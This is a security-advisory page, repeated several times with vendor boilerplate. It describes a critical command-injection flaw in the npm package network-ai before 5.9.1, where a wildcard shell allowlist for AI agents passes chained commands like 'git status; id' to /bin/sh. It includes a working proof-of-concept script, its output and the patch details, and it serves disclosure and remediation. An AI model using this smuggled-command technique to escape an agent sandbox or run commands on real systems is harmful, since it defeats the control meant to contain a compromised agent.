## Summary The agent sandbox gates shell commands behind an allowlist (`SandboxPolicy.isCommandAllowed`), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but `ShellExecutor` runs that string through `/bin/sh -c`. So any wildcard allow such as `git *`, `npm *` or `node *` also matches `git status; <anything>`, and a scoped command becomes arbitrary execution. ## Root cause Matching and execution disagree on what a command is. Lines pinned to `40e42d7` (`lib/agent-runtime.ts` is identical to the v5.8.5 tag). 1. `isCommandAllowed` matches the full string, with no tokenizing and no metacharacter check: https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L248-L260 2. `globMatch` compiles `*` to `.*` and anchors it, so `git *` becomes `^git .*$` and matches `git status; id`: https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L353-L360 3. `ShellExecutor.execute` only checks `isCommandAllowed`, never `requiresApproval`: https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L387-L391 4. `spawnCommand` runs the approved string via `/bin/sh -c`, so `;`, `|` and `$(...)` are interpreted by the shell: https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L427-L431 ## Reachability Any agent or caller allowed to run commands hits this when the operator allowlist has a wildcard entry. A plain `git *` is enough. No fresh-install precondition and no extra misconfiguration. ## PoC Installs `[email protected]`, allows `git *`, then runs `git status; id > marker`. The allowlist accepts it and the injected `id` runs. Run: `npm i [email protected] && node poc-316.js` ```js 'use strict'; const os = require('os'); const fs = require('fs'); const path = require('path'); const { SandboxPolicy, ShellExecutor } = require('network-ai'); (async () => { const base = fs.mkdtempSync(path.join(os.tmpdir(), 'nai-poc-316-')); const marker = path.join(base, 'PWNED-316.txt'); const policy = new SandboxPolicy({ basePath: base, allowedCommands: ['git *'] }); const sh = new ShellExecutor(policy); const payload = `git status; id > ${marker}; echo INJECTED`; console.log('version:', require('network-ai/package.json').version); console.log('allowed:', policy.isCommandAllowed(payload)); await sh.execute(payload); const ran = fs.existsSync(marker); console.log('injected id ran:', ran, ran ? fs.readFileSync(marker, 'utf8').trim() : ''); console.log(ran ? 'VULNERABLE' : 'not reproduced'); process.exit(ran ? 0 : 1); })().catch(err => { console.error(err); process.exit(3); }); ``` Output: ``` version: 5.8.5 allowed: true injected id ran: true uid=501(alex) gid=20(staff) groups=20(staff),... VULNERABLE ``` ## Impact Arbitrary command execution as the orchestrator process. It defeats the one control meant to contain a compromised agent, so any agent with a single wildcard allow (`git *`, `npm *`, `node *`) can run anything. `node *` and `npm *` are direct code exec even without metacharacters. ## Possible fix Do not run agent commands through a shell. Parse to argv and `spawn(file, args, { shell: false })`, allowlist on the executable plus argument patterns, and reject shell metacharacters. Anchoring the regex alone is not enough; the whole-string match plus `/bin/sh -c` is the bug. ## Patch Fixed in **v5.9.1** (commit `379f776`). `ShellExecutor` now executes via `spawn(file, args, { shell: false })` using a quote-aware parsed argv, so no shell is invoked. `SandboxPolicy.isCommandAllowed` and the new `SandboxPolicy.tokenizeCommand` reject any unquoted shell metacharacter (`; & | $ ` ` ` ( ) < > { }` newline) or unterminated quote **before** the allowlist glob match; quoted metacharacters are preserved as literal argument data. **Remediation:** upgrade to `[email protected]` or later. As defense in depth, avoid broad wildcard allowlist entries such as `node *` / `npm *` which are direct code execution by design.
## Summary The agent sandbox gates shell commands behind an allowlist (`SandboxPolicy.isCommandAllowed`), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but `ShellExecutor` runs that string through `/bin/sh -c`. So any wildcard allow such as `git *`, `npm *` or `node *` also matches `git status; <anything>`, and a scoped command becomes arbitrary execution. ## Root cause Matching and execution disagree on what a command is. Lines pinned to `40e42d7` (`lib/agent-runtime.ts` is identical to the v5.8.5 tag). 1. `isCommandAllowed` matches the full string, with no tokenizing and no metacharacter check: https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L248-L260 2. `globMatch` compiles `*` to `.*` and anchors it, so `git *` becomes `^git .*$` and matches `git status; id`: https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L353-L360 3. `ShellExecutor.execute` only checks `isCommandAllowed`, never `requiresApproval`: https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L387-L391 4. `spawnCommand` runs the approved string via `/bin/sh -c`, so `;`, `|` and `$(...)` are interpreted by the shell: https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L427-L431 ## Reachability Any agent or caller allowed to run commands hits this when the operator allowlist has a wildcard entry. A plain `git *` is enough. No fresh-install precondition and no extra misconfiguration. ## PoC Installs `[email protected]`, allows `git *`, then runs `git status; id > marker`. The allowlist accepts it and the injected `id` runs. Run: `npm i [email protected] && node poc-316.js` ```js 'use strict'; const os = require('os'); const fs = require('fs'); const path = require('path'); const { SandboxPolicy, ShellExecutor } = require('network-ai'); (async () => { const base = fs.mkdtempSync(path.join(os.tmpdir(), 'nai-poc-316-')); const marker = path.join(base, 'PWNED-316.txt'); const policy = new SandboxPolicy({ basePath: base, allowedCommands: ['git *'] }); const sh = new ShellExecutor(policy); const payload = `git status; id > ${marker}; echo INJECTED`; console.log('version:', require('network-ai/package.json').version); console.log('allowed:', policy.isCommandAllowed(payload)); await sh.execute(payload); const ran = fs.existsSync(marker); console.log('injected id ran:', ran, ran ? fs.readFileSync(marker, 'utf8').trim() : ''); console.log(ran ? 'VULNERABLE' : 'not reproduced'); process.exit(ran ? 0 : 1); })().catch(err => { console.error(err); process.exit(3); }); ``` Output: ``` version: 5.8.5 allowed: true injected id ran: true uid=501(alex) gid=20(staff) groups=20(staff),... VULNERABLE ``` ## Impact Arbitrary command execution as the orchestrator process. It defeats the one control meant to contain a compromised agent, so any agent with a single wildcard allow (`git *`, `npm *`, `node *`) can run anything. `node *` and `npm *` are direct code exec even without metacharacters. ## Possible fix Do not run agent commands through a shell. Parse to argv and `spawn(file, args, { shell: false })`, allowlist on the executable plus argument patterns, and reject shell metacharacters. Anchoring the regex alone is not enough; the whole-string match plus `/bin/sh -c` is the bug. ## Patch Fixed in **v5.9.1** (commit `379f776`). `ShellExecutor` now executes via `spawn(file, args, { shell: false })` using a quote-aware parsed argv, so no shell is invoked. `SandboxPolicy.isCommandAllowed` and the new `SandboxPolicy.tokenizeCommand` reject any unquoted shell metacharacter (`; & | $ ` ` ` ( ) < > { }` newline) or unterminated quote **before** the allowlist glob match; quoted metacharacters are preserved as literal argument data. **Remediation:** upgrade to `[email protected]` or later. As defense in depth, avoid broad wildcard allowlist entries such as `node *` / `npm *` which are direct code execution by design.
Update network-ai to 5.9.1 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanNetwork-AI: Improper Neutralization of Special Elements used in an OS Command affects network-ai (npm). Severity is critical. ## Summary The agent sandbox gates shell commands behind an allowlist (`SandboxPolicy.isCommandAllowed`), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but `ShellExecutor` runs that string through `/bin/sh -c`. So any wildcard allow such as `git *`, `npm *` or `node *` also matches `git status; <anything>`, and a scoped command becomes arbitrary execution. ## Root cause Matching and execution disagree on what a command is. Lines pinned to `40e42d7` (`lib/agent-runtime.ts` is identical to the v5.8.5 tag). 1. `isCommandAllowed` matches the full string, with no tokenizing and no metacharacter check: https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L248-L260 2. `globMatch` compiles `*` to `.*` and anchors it, so `git *` becomes `^git .*$` and matches `git status; id`: https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L353-L360 3. `ShellExecutor.execute` only checks `isCommandAllowed`, never `requiresApproval`: https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L387-L391 4. `spawnCommand` runs the approved string via `/bin/sh -c`, so `;`, `|` and `$(...)` are interpreted by the shell: https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L427-L431 ## Reachability Any agent or caller allowed to run commands hits this when the operator allowlist has a wildcard entry. A plain `git *` is enough. No fresh-install precondition and no extra misconfiguration. ## PoC Installs `[email protected]`, allows `git *`, then runs `git status; id > marker`. The allowlist accepts it and the injected `id` runs. Run: `npm i [email protected] && node poc-316.js` ```js 'use strict'; const os = require('os'); const fs = require('fs'); const path = require('path'); const { SandboxPolicy, ShellExecutor } = require('network-ai'); (async () => { const base = fs.mkdtempSync(path.join(os.tmpdir(), 'nai-poc-316-')); const marker = path.join(base, 'PWNED-316.txt'); const policy = new SandboxPolicy({ basePath: base, allowedCommands: ['git *'] }); const sh = new ShellExecutor(policy); const payload = `git status; id > ${marker}; echo INJECTED`; console.log('version:', require('network-ai/package.json').version); console.log('allowed:', policy.isCommandAllowed(payload)); await sh.execute(payload); const ran = fs.existsSync(marker); console.log('injected id ran:', ran, ran ? fs.readFileSync(marker, 'utf8').trim() : ''); console.log(ran ? 'VULNERABLE' : 'not reproduced'); process.exit(ran ? 0 : 1); })().catch(err => { console.error(err); process.exit(3); }); ``` Output: ``` version: 5.8.5 allowed: true injected id ran: true uid=501(alex) gid=20(staff) groups=20(staff),... VULNERABLE ``` ## Impact Arbitrary command execution as the orchestrator process. It defeats the one control meant to contain a compromised agent, so any agent with a single wildcard allow (`git *`, `npm *`, `node *`) can run anything. `node *` and `npm *` are direct code exec even without metacharacters. ## Possible fix Do not run agent commands through a shell. Parse to argv and `spawn(file, args, { shell: false })`, allowlist on the executable plus argument patterns, and reject shell metacharacters. Anchoring the regex alone is not enough; the whole-string match plus `/bin/sh -c` is the bug. ## Patch Fixed in **v5.9.1** (commit `379f776`). `ShellExecutor` now executes via `spawn(file, args, { shell: false })` using a quote-aware parsed argv, so no shell is invoked. `SandboxPolicy.isCommandAllowed` and the new `SandboxPolicy.tokenizeCommand` reject any unquoted shell metacharacter (`; & | $ ` ` ` ( ) < > { }` newline) or unterminated quote **before** the allowlist glob match; quoted metacharacters are preserved as literal argument data. **Remediation:** upgrade to `[email protected]` or later. As defense in depth, avoid broad wildcard allowlist entries such as `node *` / `npm *` which are direct code execution by design.
AI coding agents often install or upgrade packages automatically in npm. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| network-ainpm | <5.9.1 | 5.9.1 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate network-ai to 5.9.1 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanNetwork-AI: Improper Neutralization of Special Elements used in an OS Command affects network-ai (npm). Severity is critical. ## Summary The agent sandbox gates shell commands behind an allowlist (`SandboxPolicy.isCommandAllowed`), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but `ShellExecutor` runs that string through `/bin/sh -c`. So any wildcard allow such as `git *`, `npm *` or `node *` also matches `git status; <anything>`, and a scoped command becomes arbitrary execution. ## Root cause Matching and execution disagree on what a command is. Lines pinned to `40e42d7` (`lib/agent-runtime.ts` is identical to the v5.8.5 tag). 1. `isCommandAllowed` matches the full string, with no tokenizing and no metacharacter check: https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L248-L260 2. `globMatch` compiles `*` to `.*` and anchors it, so `git *` becomes `^git .*$` and matches `git status; id`: https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L353-L360 3. `ShellExecutor.execute` only checks `isCommandAllowed`, never `requiresApproval`: https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L387-L391 4. `spawnCommand` runs the approved string via `/bin/sh -c`, so `;`, `|` and `$(...)` are interpreted by the shell: https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L427-L431 ## Reachability Any agent or caller allowed to run commands hits this when the operator allowlist has a wildcard entry. A plain `git *` is enough. No fresh-install precondition and no extra misconfiguration. ## PoC Installs `[email protected]`, allows `git *`, then runs `git status; id > marker`. The allowlist accepts it and the injected `id` runs. Run: `npm i [email protected] && node poc-316.js` ```js 'use strict'; const os = require('os'); const fs = require('fs'); const path = require('path'); const { SandboxPolicy, ShellExecutor } = require('network-ai'); (async () => { const base = fs.mkdtempSync(path.join(os.tmpdir(), 'nai-poc-316-')); const marker = path.join(base, 'PWNED-316.txt'); const policy = new SandboxPolicy({ basePath: base, allowedCommands: ['git *'] }); const sh = new ShellExecutor(policy); const payload = `git status; id > ${marker}; echo INJECTED`; console.log('version:', require('network-ai/package.json').version); console.log('allowed:', policy.isCommandAllowed(payload)); await sh.execute(payload); const ran = fs.existsSync(marker); console.log('injected id ran:', ran, ran ? fs.readFileSync(marker, 'utf8').trim() : ''); console.log(ran ? 'VULNERABLE' : 'not reproduced'); process.exit(ran ? 0 : 1); })().catch(err => { console.error(err); process.exit(3); }); ``` Output: ``` version: 5.8.5 allowed: true injected id ran: true uid=501(alex) gid=20(staff) groups=20(staff),... VULNERABLE ``` ## Impact Arbitrary command execution as the orchestrator process. It defeats the one control meant to contain a compromised agent, so any agent with a single wildcard allow (`git *`, `npm *`, `node *`) can run anything. `node *` and `npm *` are direct code exec even without metacharacters. ## Possible fix Do not run agent commands through a shell. Parse to argv and `spawn(file, args, { shell: false })`, allowlist on the executable plus argument patterns, and reject shell metacharacters. Anchoring the regex alone is not enough; the whole-string match plus `/bin/sh -c` is the bug. ## Patch Fixed in **v5.9.1** (commit `379f776`). `ShellExecutor` now executes via `spawn(file, args, { shell: false })` using a quote-aware parsed argv, so no shell is invoked. `SandboxPolicy.isCommandAllowed` and the new `SandboxPolicy.tokenizeCommand` reject any unquoted shell metacharacter (`; & | $ ` ` ` ( ) < > { }` newline) or unterminated quote **before** the allowlist glob match; quoted metacharacters are preserved as literal argument data. **Remediation:** upgrade to `[email protected]` or later. As defense in depth, avoid broad wildcard allowlist entries such as `node *` / `npm *` which are direct code execution by design.
AI coding agents often install or upgrade packages automatically in npm. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| network-ainpm | <5.9.1 | 5.9.1 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard